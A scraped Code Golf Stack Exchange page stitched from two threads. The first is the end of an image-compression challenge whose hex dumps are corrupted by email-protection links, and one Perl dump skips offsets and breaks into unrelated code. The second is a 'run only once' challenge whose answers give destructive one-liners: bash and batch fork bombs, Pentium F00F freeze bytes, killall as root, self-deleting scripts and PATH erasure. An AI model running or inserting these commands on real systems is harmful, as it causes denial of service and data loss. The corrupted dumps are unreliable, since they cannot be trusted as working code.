4ab2 0d50 8984 ....B...@*J..P..\n0000170: 8a59 f25d 768e 05c6 11d8 990f bddc 2552 .Y.]v.........%R\n0000180: 2ae8 ddd0 5cca 2c73 61eb 12af ac19 ae20 *...\\.,sa......\n0000190: cc0f 2fcb 7a11 d4d5 7e16 66d6 f581 d81d ../.z...~.f.....\n00001a0: 98a5 c5bf b63c 7f74 6a1d 1d63 3fdc c9f4 .....<.tj..c?...\n00001b0: 506a 5b22 c7ec d67c 46d1 0965 9a09 bbb3 Pj[\"...|F..e....\n00001c0: 89ed a733 d1fd d114 0013 21cf add0 16ee ...3......!.....\n00001d0: 88fa 1880 59df b39c e1aa d710 e441 3424 ....Y........A4$\n00001e0: 3852 a46b 3e36 2566 f0b0 bee0 9d8f 9285 8R.k>6%f........\n00001f0: 391b 1d8e 870a c1c9 645a 721e 4a0b d4c8 9.......dZr.J...\n0000200: 2182 4393 2b1c 7fc8 d1cb 4f31 0290 cd11 !.C.+.....O1....\n0000210: 2446 5eb1 9d26 4df0 dbe4 a71b 4caa 102a $F^..&M.....L..*\n0000220: 81e5 6f34 d1a3 0614 6f79 8fc4 cd06 d365 ..o4....oy.....e\n0000230: fc38 29f4 a72e 31cd 532a 670d 06f2 4bb8 .8)...1.S*g...K.\n0000240: f1ae f2ef e2f6 7543 3f8d 9f74 30ce dcba ......uC?..t0...\n0000250: 662f 3ea2 e9bf a895 f29b b17c e472 b4dd f/>........|.r..\n0000260: 3bbd 0ed6 50f9 eadf 85cb 7648 882f 0f22 ;...P.....vH./.\"\n0000270: 829e 723a 2c87 5740 f890 4724 1fe8 58e7 ..r:,[[email protected]](/cdn-cgi/l/email-protection)$..X.\n0000280: 5375 f9db a740 c166 e098 c4c2 3d9b dad3 [[email protected]](/cdn-cgi/l/email-protection)....=...\n0000290: e92b bf71 1e87 0437 1396 0fbf 8eed 2ef8 .+.q...7........\n00002a0: 7d5f 6767 1bf9 826a 2692 c9e5 78aa 724a }_gg...j&...x.rJ\n00002b0: ceb6 7486 2a60 8698 35b3 20cf bd43 ea65 ..t.*`..5. ..C.e\n00002c0: 39a7 b415 233c b945 eed0 0db8 18df ee0c 9...#<.E........\n00002d0: df0d 3719 5c74 fa56 7ec9 588d 22c4 6dbc ..7.\\t.V~.X.\".m.\n00002e0: 6823 4536 2614 f9e0 40cd beb8 1aff 5f17 h#E6&...@....._.\n00002f0: c6b2 5710 18e2 1c93 34b3 d219 9c83 d11f ..W.....4.......\n0000300: 6125 fedb 975b 51a7 c9fc 23f7 7733 fa0e a%...[Q...#.w3..\n0000310: 970d 9c2d 8fc3 8edd 4bf9 db23 eff1 434e ...-....K..#..CN\n0000320: d54f 1f2a d51a ddf1 a5a6 9687 8afa 8973 .O.*...........s\n0000330: 43c1 8292 c2e1 ef0c 71dd f7de 0986 9f93 C.......q.......\n0000340: 3dd5 f200 b3dd f709 7ab3 dad3 7d5d a522 =.......z...}].\"\n0000350: 0730 62a9 e817 4f56 b5b3 a216 edb9 8b90 .0b...OV........\n0000360: 52c0 c10c 9f8a f7f5 6500 1ee1 347b a756 R.......e...4{.V\n0000370: 0566 21f6 0290 4282 55eb 0788 b508 a5e7 .f!...B.U.......\n0000380: 6971 85e9 f512 da0f ee34 3725 fb62 4f8d iq.......47%.bO.\n0000390: 4bc2 8f19 78ee 4db6 e9db f84d 8e09 66f7 K...x.M....M..f.\n00003a0: 9a0c 5826 4075 e173 4f77 4652 6ef7 94ea ..X&@u.sOwFRn...\n00003b0: f2ac 935b 836a 887b 3aa8 8516 1a10 8098 ...[.j.{:.......\n00003c0: b4f2 5e19 fd63 5ba5 c9b5 940d c2b0 0d9c ..^..c[.........\n00003d0: ae03 9e07 44ae edeb 9339 ca27 f7a9 f395 ....D....9.'....\n00003e0: 1dca 317b 93ce eb79 02cf 006b 6ab0 16dd ..1{...y...kj...\n00003f0: 1854 17d6 1e95 5a39 2881 204d 1cdd 040a .T....Z9(. M....\n```\nHere is the output PNG:\n[![Image restored from SPIHT](https://i.stack.imgur.com/AX80C.png)](https://i.stack.imgur.com/AX80C.png)\nBelow is my ealier answer:\n---\n[**FIASCO**](http://fileformats.archiveteam.org/wiki/FIASCO) is an acronym for Fractal Image And Sequence COdec, it is a highly efficient implementation of lossy [fractal compression](https://en.wikipedia.org/wiki/Fractal_compression).\nI shrank the original PNG by quarter, then converted to PNM using `pngtopnm` from [Netpbm](http://netpbm.sourceforge.net/) v. 10.68, then converted to FIASCO with `pnmtofiasco -q=14 -z=3` and got the 969-byte image file. Then I converted it back to PNM using `fiascotopnm`, upscaled to original size using `pamscale -xyfill 386 320` and saved to PNM file, which is read by PIL. Here is my script (1KB):\n```\n0000000: 6669 6173 636f 746f 706e 6d3c 2874 6169 fiascotopnm<(tai\n0000010: 6c20 2d6e 2b32 2024 3029 7c70 616d 7363 l -n+2 $0)|pamsc\n0000020: 616c 6520 2d78 7966 696c 6c20 3338 3620 ale -xyfill 386\n0000030: 3332 303e 6f2e 706e 6d0a 4649 4153 434f 320>o.pnm.FIASCO\n0000040: 0a6f 2e66 636f 0001 0040 0040 000f ffff .o.fco...@.@....\n0000050: e70b 0140 2803 0280 2463 5a00 ab40 0000 ...@(...$cZ..@..\n0000060: 005e 44f8 62cb a400 4461 e539 a199 2d9c .^D.b...Da.9..-.\n0000070: b01f 01fe 9327 7fea 572c e1c3 5652 e81a .....'..W,..VR..\n0000080: a86f 85d2 7617 762f 6746 6e4d 30af 7673 .o..v.v/gFnM0.vs\n0000090: 2266 86fd eea4 0ef0 3996 8c37 e86e 663e \"f......9..7.nf>\n00000a0: dc9d 85cc 2e76 80e1 53ac a466 fa66 a19a .....v..S..f.f..\n00000b0: 8268 7a8a 9d84 596c f5b3 a99e c4c8 292f .hz...Yl......)/\n00000c0: 11ec f5d5 8c38 b3a4 4c34 e848 5e4e f00f .....8..L4.H^N..\n00000d0: bc72 e118 412e 3fa1 9a96 0452 95c4 5378 .r..A.?....R..Sx\n00000e0: fba4 e181 438b 5a67 90ee cfd6 47ea 59fc ....C.Zg....G.Y.\n00000f0: bfdc 3615 fc5c 4976 c1d0 50d0 aadc 1462 ..6..\\Iv..P....b\n0000100: fc50 89ab abde bede fc38 4329 838f d649 .P.......8C)...I\n0000110: 8998 57ae e122 c13b b4a5 7110 0e2f de80 ..W..\".;..q../..\n0000120: 338b bf2f 9e61 2bfd 6401 13f8 2621 06e9 3../.a+.d...&!..\n0000130: 3acd 8085 f0e0 2002 9d4f e445 f6e7 18f3 :..... ..O.E....\n0000140: 19a4 4649 3a00 d223 1547 45a7 d097 06fb ..FI:..#.GE.....\n0000150: 9a25 119e 978b 88b8 d8fe 87d8 43c5 4d89 .%..........C.M.\n0000160: 61ea 8314 99a1 1046 5c13 1026 375e cff2 a......F\\..&7^..\n0000170: 9c12 fca6 ebab 23fe 707f 2d18 82af 7302 ......#.p.-...s.\n0000180: df00 57c7 5a43 3818 4787 5f7a 0d0c 53b5 ..W.ZC8.G._z..S.\n0000190: cc11 c562 840b 11f3 9ad3 c938 9e58 9af1 ...b.......8.X..\n00001a0: 40a2 6aab ac36 8a0c d5e6 fc8b b1a7 8dfc @.j..6..........\n00001b0: 4bb9 5404 6468 c037 a862 f313 6e6b d330 K.T.dh.7.b..nk.0\n00001c0: a88c 8ef0 cd60 4c67 3232 9a08 3d46 2a45 .....`Lg22..=F*E\n00001d0: 7eb0 5d80 c2ba f302 a50d 234c 2e81 bb3f ~.].......#L...?\n00001e0: 4123 a172 d9a7 87ff 5289 fca4 f9f6 788b A#.r....R.....x.\n00001f0: 587e 1021 5ead ae02 4eb5 891a 0a89 2a2a X~.!^...N.....**\n0000200: 8b0f a66c a494 a63b 4e2d 3a83 a991 bc9d ...l...;N-:.....\n0000210: 8d3c e129 e074 7028 9647 d8e6 e216 f109 .<.).tp(.G......\n0000220: 8664 ba00 7cb3 76ed ac31 68fe b179 9b22 .d..|.v..1h..y.\"\n0000230: 40f0 4fde 6e43 2f1f fe7d bf05 7ac5 b05d @.O.nC/..}..z..]\n0000240: 8be6 9ab1 c63b 6977 b019 0b5d 75dc 923c .....;iw...]u..<\n0000250: e36c 55c7 e8d1 9395 75e5 cf8a 8af0 2757 .lU.....u.....'W\n0000260: 9b6a 837c 108c 2660 8360 8c4e 17da 8f06 .j.|..&`.`.N....\n0000270: e6f7 a31c 2df4 f8e6 c1e9 cc03 7a1e 9c95 ....-.......z...\n0000280: d1a3 e0bc 1514 c46c cfc1 8f2a 1b3e 2ff1 .......l...*.>/.\n0000290: beea b692 45be d8e0 a0ab c3a6 5722 9602 ....E.......W\"..\n00002a0: bce0 0859 4939 0506 9a03 9373 0af7 5331 ...YI9.....s..S1\n00002b0: e050 fa65 e927 ab84 dd3e 4f78 ef60 c881 .P.e.'...>Ox.`..\n00002c0: 8220 a924 d201 d212 8720 9b24 3099 6613 . .$..... .$0.f.\n00002d0: bc23 57b9 dc91 f9d4 2416 1470 7d47 8c01 .#W.....$..p}G..\n00002e0: c8dd 4a9b 1140 bdaa 7679 2943 696d 7b74 [[email protected]](/cdn-cgi/l/email-protection))Cim{t\n00002f0: acc4 ab69 36b3 ce4b 67c8 8d1c 95ad 4eef ...i6..Kg.....N.\n0000300: 738b fd00 0f83 77c0 513d a114 615c c007 s.....w.Q=..a\\..\n0000310: bd08 2bc0 6717 f35c 0125 4379 03ce e36b ..+.g..\\.%Cy...k\n0000320: 5be5 d087 b50e b47f 96bf 3593 73d8 c8a2 [.........5.s...\n0000330: 5d6f 5fb5 7c7d ed7b 3814 e844 6f11 5ff2 ]o_.|}.{8..Do._.\n0000340: c2d3 55c3 961e 4ccd e45b 39a7 cd2f f9d0 ..U...L..[9../..\n0000350: c218 a9eb a0c5 b38d f1aa b279 6854 e47e ...........yhT.~\n0000360: a988 3876 5302 a832 0093 e10e c225 4278 ..8vS..2.....%Bx\n0000370: c760 f39d bd1f b941 fc98 03bf 5082 d39c .`.....A....P...\n0000380: f97b 06a8 cc7f 75bf 2496 8660 c553 29e9 .{....u.$..`.S).\n0000390: 0a11 463c cd8d 6ba4 93b2 ed22 2ce8 8b58 ..F<..k....\",..X\n00003a0: 84b9 c243 3e18 7948 8a73 0547 23aa 9991 ...C>.yH.s.G#...\n00003b0: 8629 a135 669c 294e f0ce ed95 975d 085d .).5f.)N.....].]\n00003c0: 68ba 566c f6f9 f555 2d68 b3da 91a8 9234 h.Vl...U-h.....4\n00003d0: e284 d7e5 25a0 6618 3a5f f649 a3c8 f089 ....%.f.:_.I....\n00003e0: 2514 6c21 9119 e4e4 5bba c1f1 49f1 16d0 %.l!....[...I...\n00003f0: 979a 88b1 3513 23ae 84e6 9080 82a9 7f0a ....5.#.........\n```\nActually, I first did this in Windows `cmd`, but the script did not fit in 1KB. Then I rewrote it in `bash`. Here is the output PNG:\n[![Image restored from FIASCO](https://i.stack.imgur.com/3ZPou.png)](https://i.stack.imgur.com/3ZPou.png)\n[Answer]\n# Ruby, 7834.38\nThis was fun!\nI used a ruby generator program to write a ruby script as follows:\n* Draw a white 386x320 rectangle.\n* Put the rectangle in a list. Build a ruby file to generate that list of rectangles (only one in this initial case)\n* While the generated ruby file is less than 1024 bytes:\n\t+ Search the list for the highest scoring rectangle\n\t+ Try halving that rectangle horizontally and vertically\n\t+ Replace that rectangle in the list with whichever pair scored lower\n\t+ Build a ruby file to generate that list of rectangles\nNote that my scoring algorithm randomly samples a bunch of colors and picks the one that results in the smallest difference from ORIGINAL.png. As it is probabilistic, I have rerun the script a bunch of times and picked the lowest scoring result.\nHere's my best script thus far:\n```\nrequire 'chunky_png'\ndef r(w,x,y,z,k)\nc=k*256+255\n$p.rect(w,x,y,z,c,c)\nend\n$p=ChunkyPNG::Image.new(386,320,255)\nr(97,160,192,199,7374989)\nr(0,80,48,159,7045519)\nr(193,160,289,199,6716560)\nr(0,220,192,239,2963277)\nr(338,80,385,159,8623770)\nr(0,0,48,79,4938368)\nr(49,0,96,79,4212844)\nr(193,240,385,259,3756895)\nr(193,260,385,279,3094854)\nr(290,0,313,159,5271706)\nr(314,0,337,159,8555664)\nr(290,160,337,199,7570058)\nr(338,160,385,199,3883603)\nr(193,0,289,39,4674429)\nr(193,40,289,79,5398918)\nr(0,240,96,319,2566701)\nr(97,240,192,319,2041898)\nr(193,200,289,239,3424622)\nr(290,200,385,239,4348033)\nr(97,80,144,159,6124943)\nr(145,80,192,159,5926550)\nr(97,0,192,39,4609663)\nr(97,40,192,79,5334923)\nr(193,280,385,299,3619650)\nr(193,300,385,319,3815999)\nr(49,80,96,119,5334650)\nr(49,120,96,159,2767683)\nr(0,200,96,219,3951445)\nr(97,200,192,219,5860985)\nr(0,160,48,199,5468034)\nr(49,160,96,199,2503733)\nr(193,80,289,119,5599124)\nr(193,120,289,159,6189974)\nr(338,0,385,39,7900038)\nr(338,40,385,79,11317092)\n$p.save('o.png')\n```\nIt generated the following image, which scored 7834 points:\n[![Jeremy's entry: 7834 points](https://i.stack.imgur.com/XvBps.png)](https://i.stack.imgur.com/XvBps.png)\n \nTo see how my algorithm came up with this, here's an animated GIF showing how it splits rectangles:\n \n[![Jeremy's entry: How it was built](https://i.stack.imgur.com/uFp9g.gif)](https://i.stack.imgur.com/uFp9g.gif)\n \nMy code is all up on GitHub at \n[Answer]\n# Perl, ~~5955.96878124~~ 5149.56218378\nLooking at the \"unprintable gibberish\" approach, I decided I could try that in Perl as well. Again, I don't really know Perl so I'm sure this can be improved (actually, the most obvious improvement, reduction to 7 bytes per ellipse by omitting the alpha channel, has already been implemented for the next version, but I'm still working on other parts of that code; I'm also thinking the whole pop/push business can be golfed more). \nI don't think this will actually work on Windows machines (I can't test), since I couldn't figure out an easy way to open the DATA section in binary mode -- however it has worked on my linux machines.\nI was able to basically keep using my same GA code to create:\n```\nuse GD;\n$X=GD::Image->new(386,320,1);\n@r=do{$/=\\8;;};\nforeach $r(@r){@x=unpack\"CCCCI\",$r;$c=pop@x;map{$_*=2}@x;push@x,$c;$X->filledEllipse(@x)}\nopen $h,\">\",\"p.png\" or die \"$!\";\nbinmode $h;\nprint $h $X->png;\nclose($h);\n__END__\n<>\n```\nWhere the xxd output is:\n```\n0000000: 7573 6520 4744 3b0a 2458 3d47 443a 3a49 use GD;.$X=GD::I\n0000010: 6d61 6765 2d3e 6e65 7728 3338 362c 3332 mage->new(386,32\n0000020: 302c 3129 3b0a 4072 3d64 6f7b 242f 3d5c 0,1);.@r=do{$/=\\\n0000030: 383b 3c44 4154 413e 3b7d 3b0a 666f 7265 8;;};.fore\n0000040: 6163 6820 2472 2840 7229 7b40 783d 756e ach $r(@r){@x=un\n0000050: 7061 636b 2243 4343 4349 222c 2472 3b24 pack\"CCCCI\",$r;$\n0000060: 633d 706f 7040 783b 6d61 707b 245f 2a3d c=pop@x;map{$_*=\n0000070: 327d 4078 3b70 7573 6840 782c 2463 3b24 2}@x;push@x,$c;$\n0000080: 582d 3e66 696c 6c65 6445 6c6c 6970 7365 X->filledEllipse\n0000090: 2840 7829 7d0a 6f70 656e 2024 682c 223e (@x)}.open $h,\">\n00000a0: 222c 2270 2e70 6e67 2220 6f72 2064 6965 \",\"p.png\" or die\n00000b0: 2022 2421 223b 0a62 696e 6d6f 6465 2024 \"$!\";.binmode $\n00000c0: 683b 0a70 7269 6e74 2024 6820 2458 2d3e h;.print $h $X->\n00000d0: 706e 673b 0a63 6c6f 7365 2824 6829 3b0a png;.close($h);.\n00000e0: 5f5f 454e 445f 5f0a b252 8e38 3a27 2400 __END__..R.8:'$.\n00000f0: 6a48 8c5d 888b 7a00 328e 7684 6c3b 2b00 jH.]..z.2.v.l;+.\n0000100: 6063 8e3d 5635 2a00 a996 bf59 8650 3b00 `c.=V5*....Y.P;.\n0000110: b26c 1f0f 9b6b 5500 ae19 297e 855d 4a00 .l...kU...)~.]J.\n0000120: ae92 af3e 665d 4b00 be8c 480c 3a2c 2500 ...>f]K...H.:,%.\n0000130: b465 5d06 432a 2400 b29a 202d 4332 2b00 .e].C*$... -C2+.\n0000140: c178 1517 5e58 4c00 5d3e 907a 704b 3900 .x..^XL.]>.zpK9.\n0000150: 7754 b903 2921 2000 9148 621e 99a7 a500 wT..)! ..Hb.....\n0000160: aa41 6421 9ba3 9600 124d b44f 8e6f 5400 .Ad!.....M.O.oT.\n0000170: 7f88 1f53 512e 2400 5c33 6c97 5b33 2800 ...SQ.$.\\3l.[3(.\n0000180: 2a4e 8a3e 918b 7400 a231 3c51 9489 7000 *N.>..t..1.Y.y`.\n00001e0: 2f1d c08d 8d76 6100 2a9a b216 313d 3400 /....va.*...1=4.\n00001f0: 034d 1d18 8b63 4400 b69f 181a 3839 3200 .M...cD.....892.\n0000200: 1412 302d 854b 3600 080a 931a 6b3a 2c00 ..0-.K6.....k:,.\n0000210: 6400 902b 8b65 5000 003f 321b a088 6e00 d..+.eP..?2...n.\n0000220: 1c4d 1f0b 779e 8f00 8127 1f0d 8897 8900 .M..w....'......\n0000230: 5d96 6c16 6057 5100 7537 4c1b 9064 4900 ].l.`WQ.u7L..dI.\n0000240: 2da0 6403 6482 8600 3a45 6e07 866b 5000 -.d.d...:En..kP.\n0000250: 453f 5c5b 3a37 3100 3659 610f 865a 3f00 E?\\[:71.6Ya..Z?.\n0000260: bb24 361b 8dac 9b00 b01d 161d 58ae b700 .$6.........X...\n0000270: 3c65 5031 785f 4800 330c 5b6f 834b 3700 .H4.\n00002e0: 940a 0f68 9979 5d00 3471 1229 2223 2200 ...h.y].4q.)\"#\".\n00002f0: 3060 031c 614b 3600 5908 830b 7c73 6200 0`..aK6.Y...|sb.\n0000300: 2706 1239 5488 8700 468a 683d 2226 2400 '..9T...F.h=\"&$.\n0000310: 4774 1715 6949 3400 5d9c 4a37 3c3f 4000 Gt..iI4.].J7new(386,320);\nsub c{$X->colorAllocate(@_);};\nsub e{$X->filledEllipse(@_);};\ne(0,7,9,4,c(98,122,142));\ne(352,168,130,61,c(38,41,57));\ne(313,296,319,213,c(44,56,92));\ne(281,71,240,257,c(99,127,149));\ne(55,266,372,67,c(41,55,96));\ne(39,15,281,130,c(55,73,128));\ne(235,149,226,90,c(136,156,152));\ne(81,55,29,29,c(129,133,89));\ne(183,139,285,65,c(58,79,108));\ne(368,261,177,130,c(75,97,145));\ne(283,270,386,88,c(70,86,99));\ne(271,11,322,58,c(86,104,129));\ne(254,78,185,200,c(90,116,151));\ne(29,16,34,35,c(119,135,130));\ne(195,311,297,189,c(51,69,98));\ne(234,19,150,89,c(58,75,126));\ne(286,313,286,108,c(49,56,68));\ne(232,30,40,31,c(114,130,122));\ne(375,145,106,32,c(159,172,160));\ne(59,16,21,141,c(43,53,90));\ne(66,135,21,108,c(39,45,43));\ne(353,53,84,80,c(167,172,117));\ne(196,122,150,137,c(86,110,145));\ne(101,320,284,185,c(48,55,59));\ne(79,193,73,114,c(36,42,42));\ne(106,310,126,191,c(31,35,33));\ne(119,169,70,56,c(128,144,150));\nopen $h,\">\",\"p.png\" or die \"$!\";\nbinmode $h;\nprint $h $X->png;\nclose($h);\n```\n[![enter image description here](https://i.stack.imgur.com/9uxEm.png)](https://i.stack.imgur.com/9uxEm.png)\nAfter seeing [jamieguinan's answer](https://codegolf.stackexchange.com/a/70503/49472), I used ellipses as a drawing primitive since in Perl I have access to the GD library for drawing. I am not a Perl expert at all, so any suggestions would be useful. I used a genetic algorithm which was modified from [my C++ answer](https://codegolf.stackexchange.com/a/70194/49472).\nIt seems to work okay, but honestly I am a bit disappointed in the score. I could probably let it run a little longer since you can easily see that a few ellipses are not in optimal positions. However, even now it looks nicer to my eyes compared to the rectangle-based solution.\n[Answer]\n## Java, 9215.38294502\nReading the image as a GIF with a size of 8x6 pixels(!) from a Base64-encoded String (containing 368 characters), and scaling it up bilinearly. \n```\nimport java.awt.*;\nimport java.awt.image.*;\nimport static java.awt.RenderingHints.*;\nimport java.io.*;\nimport java.util.*;\nimport javax.imageio.*;\nclass S\n{\n public static void main(String[] a) throws Exception\n {\n BufferedImage r=new BufferedImage(386, 320, 2);\n Graphics2D g=r.createGraphics();\n g.setRenderingHint(KEY_INTERPOLATION,VALUE_INTERPOLATION_BILINEAR);\n g.drawImage(ImageIO.read(new ByteArrayInputStream(Base64.getDecoder().decode(\"R0lGODlhCAAGAPUAABMXFxIfHxQZGBcZHRgcGRwfKhssIB0iMC4kGicwOy06PzA6OS8zSjY7SztHQThZVzJCcFdgUFJhdFZrfSo7ny1AgC9Mjz1XjT1ZqkRNgUFVj0BeiEJUmEFhjkJtnlJwnGd8mXF+gmF9plyGqW6Gk26KmHSJmnuSn32Zl6C1e7u/dYGNkYCVnZOahI6gmYaiuhMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFxMXFywAAAAACAAGAEUIOQBfZMBQwYQGFCkoEACQQIKDBxFIGOAA4sIHES0ghJjQwQKLESpWLDjhwUWJDQ0UBBCAYEABBgcCAgA7\"))), 0, 0, 386, 320, null);\n g.dispose();\n ImageIO.write(r, \"PNG\", new File(\"RESULT.PNG\"));\n } \n}\n```\nEDIT: The result, as per request in the comments, is shown in this image:\n[![StarryNight](https://i.stack.imgur.com/dv8vo.png)](https://i.stack.imgur.com/dv8vo.png)\n[Answer]\n## Python 3, 5797.125628604383\nThe compression program first truncates the bits of the image, and then converts base 2 to base 36. \nThe decode program does that in reverse, and re-sizes the image.\n```\nfrom PIL.Image import new\nK=bin(int('29zoubbejrojv5nc2c09w8008mmc93di8nsq75g5ep83xtelg14ua2jvhm6ez5gry7isq1g82qvqezkbvl0ibovc6kltldjgklqeg7g5oyfefamfrvei712jnrd8a2ften12xme2bfh654a6r8kfe5xtckpxxt60pujhs02r0zt9a733ofmyhsprmxw9max72f9az1cpsa48szbbi3cl0ah4tusuuin49vtzambzv8omzfa0lt9wkot1p17trvvvvwmrf31g14vvs59ea3uo3k2ycgibgxwnd7qbv6enrynzwhng30thklvk4mvrhf66ba0gqnyf0do6xn9xfjker8fnpr79zac6tsowm6oohszjc16k3a8iisv7yj7i67aq6r7f629zldmv9l816azzu96jikqaw02icsv9b79yy73gbvw0scid9266hph04m6nb3lae5a59d6djauw38i1wtd7qqn17uxugi4r52y0cfpjsb444uj30gih7jmek26uhdn41w2b2g0y34xl1kgxegkjtj6iq1u3k3zk34qtw76hysxj6jl7qrj908pa5vcao6m4i4m2h8sg4ir10mh1y315bakfag611ilwy7y569jh18ydabo5zgdyr7m5vcc9dqxj63nu2s67urqui8gnqu9u40hahyehqu9ugtqf8ab0m1v4fu5pr88k6ch7ep0echekocg78za1f74ladjgm',36))[3:]\na=[]\nfor x in range(0,len(K),18):\n Y=K[x:x+18]\n y=[Y[0:6],Y[6:12],Y[12:18]]\n for x in range(0,3):\n y[x]=int(y[x],2)*8\n a.append(tuple(y))\ni=new('RGB',(16,13))\ni.putdata(a)\ni.resize((386,320),1).save('2.png')\n```\n[![enter image description here](https://i.stack.imgur.com/QWSC8.png)](https://i.stack.imgur.com/QWSC8.png)\n]"}}},{"rowIdx":24,"cells":{"text":{"kind":"string","value":"[Question]\n [\n**Goal**\nThe goal of this challenge is to write code that will execute once and only once. This means basically that it damages the program, script, or environment in some way. If rebooting the system allows the code to run again that is permitted.\n**Scoring**\nNumber of votes. All assumptions must be clearly listed. Any answers just initiating a reboot or halt will be disqualified.\n**Additional Rules because Greg Hewgill is a demi-god**\nNo root access is permitted.\n**End Date**\nThe contest will close on May 31, 2014.\n**Edit**\nThis contest has been changed to popularity contest.\n \n[Answer]\n## [Vigil](https://github.com/munificent/vigil)\nFinally a usecase for Vigil!\n```\ndef main():\n raise Exception()\n```\nExcerpt from the \"language specification\":\n> \n> It goes without saying that any function that throws an exception which isn't caught is *wrong* and must be punished.\n> \n> \n> ...\n> \n> \n> If an oath is broken, the offending function [...] *will be duly punished.*\n> \n> \n> How?\n> \n> \n> **Simple: it will be deleted from your source code.**\n> \n> \n> The only way to ensure your program meets its requirements to absolutely forbid code that fails to do so. With Vigil, it will do this for you *automatically.*\n> \n> \n> \nThere are other ways to do this, because Vigil provides the keywords `implore` and `swear` which are basically oaths to adhere to certain pre- and post-conditions:\n```\ndef main():\n swear 0 > 1\n```\n[Answer]\n# Pretty much any Linux distro, 9 chars\nThis one is a classic!\n```\n#!/bin/rm\n```\nPut this in a file and run it:\n```\n> ed\na\n#!/bin/rm\n.\nwq foo\n> ls\nMail mbox foo\n> chmod 777 foo\n> ./foo\n> ls\nMail mbox\n```\nAaand it's gone!\nAs to what is going on:\nI'm really just running `rm`! `#!` is called a [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29). And if you put one of these followed by a path to some executable as the first line in your script, the program loader will execute your script file with whatever you wrote there - the default is usually `#!/bin/bash` or `#!/bin/sh` (Bourne-again shell / Bourne shell). The first argument passed to this script will be the filename itself (which is why you see so many solutions including `%0` or `$0` and the likes in here); so by making my file contain `#!/bin/rm` and running it, all I'm doing is passing the filename of my file to `rm`.\n[Answer]\n# x86 binary, 4 bytes\n```\nF0 0F C7 C8\n```\nAssumption: Must be run on a P5 Pentium CPU.\nThe above instruction is commonly known as the [F00F bug](http://en.wikipedia.org/wiki/Pentium_F00F_bug). It attempts to execute an invalid instruction, prefixed with *lock*.\nThis freezes the CPU up completely (not a halt nor a reboot) and it doesn't even require root access.\n[Answer]\n# Bash, 5\n```\n>\"$0\"\n```\nTruncates itself to zero length.\nIf the filename doesn't contain spaces, `>$0` works for **3 chars**!\n[Answer]\n# gzip\n```\n#!/bin/gzip\n```\nTo much annoyance to people used to nondestructive commandline tools, `gzip` by default ruins the original file, replacing it with a gzipped version (adding a suffix).\nThis is a variation on the `#!/bin/rm` option, except this one is recoverable by manual human intervention (call `gunzip` on it). As a special bonus, the resulting file is much longer than the original (the difference depends on the filename length).\nWarning: location of `gzip` may vary.\nEDIT: as pointed out by WChargin, this is more portable:\n```\n#!/usr/bin/env gzip\n```\nThe rest of the file can have any content. It's essentially a file that, when called, hides itself in a box and refuses to come out until you forcibly unpack it.\n[Answer]\n# Bash, ~~13~~ 12\nNot the shortest, but it doesn't actually delete the file or make the system unusable.\n```\nchmod 0 \"$0\"\n```\nIf the filename doesn't contain spaces, you can remove the quotes to save 2 chars.\n## Explanation\nIt removes all permissions (`rwx`) from itself. When you attempt to run it, or even view its code, a second time, without manually restoring the permissions, it will say something like\n```\nbash: : Permission denied\n```\nRestore the permissions with\n```\nchmod +rwx \n```\n## Old version\nOnly removes execute permissions, but one char longer (this was a [code-golf](/questions/tagged/code-golf \"show questions tagged 'code-golf'\") question before it got changed to [popularity-contest](/questions/tagged/popularity-contest \"show questions tagged 'popularity-contest'\")):\n```\nchmod -x \"$0\"\n```\n## Sneaky version by Łukasz Niemier\n```\n#!/bin/chmod 0\n```\n[Answer]\n# 6800 machine code - 1 byte\n```\n0xDD\n```\nThis is known as HCF or [Halt and Catch Fire](http://en.wikipedia.org/wiki/Halt_and_Catch_Fire#Motorola_6800)\n[Answer]\n# Shell + sed, 16 bytes\nNot quite as destructive as some of the other answers ;-)\nThis script inserts a comment `#` at the beginning of every line of itself:\n```\nsed -i s/^/#/ $0\n```\n[Answer]\n## Commodore 64 BASIC\nThis one doesn't delete the program.\n```\n1 POKE 2048,1\n```\n![Self-destruct](https://i.stack.imgur.com/IAqIJ.png)\nAccording to the [Commodore 64 memory map](http://sta.c64.org/cbm64mem.html), address`2048`is unused, but it must contain a value of `0` so that the BASIC program can be RUN.\n[Answer]\nAssumption: Running Solaris, logged in as root\n```\nkillall\n```\n[Answer]\n# Batch: 5 Bytes\n```\n%0|%0\n```\nIt is basically the forkbomb for Windows.\nThe app starts its first argument twice. Don't run it in a productive environment ;)\n[Answer]\n# Python, 18\n```\nopen(__file__,'w')\n```\nTruncates the file by opening it in write-only mode.\n[Answer]\n# JavaScript\n```\nlocalStorage.x = eval(localStorage.x + localStorage.x)\n```\nThe first time you run it, it'll run fine:\n```\n>>> localStorage.x = eval(localStorage.x + localStorage.x)\nNaN\n```\nIf you try to run it more (even if you refresh), you'll get an error:\n```\n>>> localStorage.x = eval(localStorage.x + localStorage.x)\nReferenceError: NaNNaN is not defined\n```\n[Answer]\nIBM's CMS Operating System, which is a single-user operating system which runs as a guest under IBM's VM Hypervisor, has an interesting file-structure.\nFiles consist of three elements, File Name, File Type, and File Mode. The File Mode consists of two elements, a single alphabetic, which for ease of explanation can be regarded in a similar way to the Drive Letter for Windows/MS-DOS, and a single numeric digit.\nThe single numeric digit has meaning, , and for this task it is the number 3 which is interesting:\n> \n> File Mode Number 3 \n> \n> File mode number 3 means that files are erased after they are read. You can use file mode number 3 if you do not want to maintain\n> copies on your minidisks or in your SFS directories.\n> \n> \n> \nSo, spend hours writing your script and file it as `LOST FOREVER A3'. Run it, it works first time. Set off home, job well done.\nNote, no message is produced indicating the erasure. After all, everyone knows what that `3` means, don't they?\nIt is actually of course very useful. You can, once testing is complete, use the `3` for temporary files, and not have to clean up afterwards, because they are read-once files.\n[Answer]\n## Bash , 12\n**Note: This is destructive.**\n```\n:(){ :|:&};:\n```\nIt's the popular bash fork-bomb. It exponentially eats all memory and PID's locking up the system. A hard-reboot will allow the code to be run again though why would you want to do that?\n---\n## Bash , 10\n```\n:(){ :&};:\n```\nFor two less chars, this eats your memory linearly.\n---\n## Bash , 7\n```\nw;PATH=\n```\n`w` is chosen as the shortest executable that I could think of.\nThis simply erases the path variable so the shell can't find `/usr/bin/w` the next time. Restarting the shell fixes it as the path is usually stored in `~/.profile`\n[Answer]\n## Commodore 64 BASIC\n```\n0 NEW\n```\n[`NEW`](http://www.c64-wiki.com/index.php/NEW) deletes the program.\n[Answer]\n## C#\nShortest code for deleting self\n```\nProcess.Start(new ProcessStartInfo(\"cmd.exe\", \"/C choice /C Y /N /D 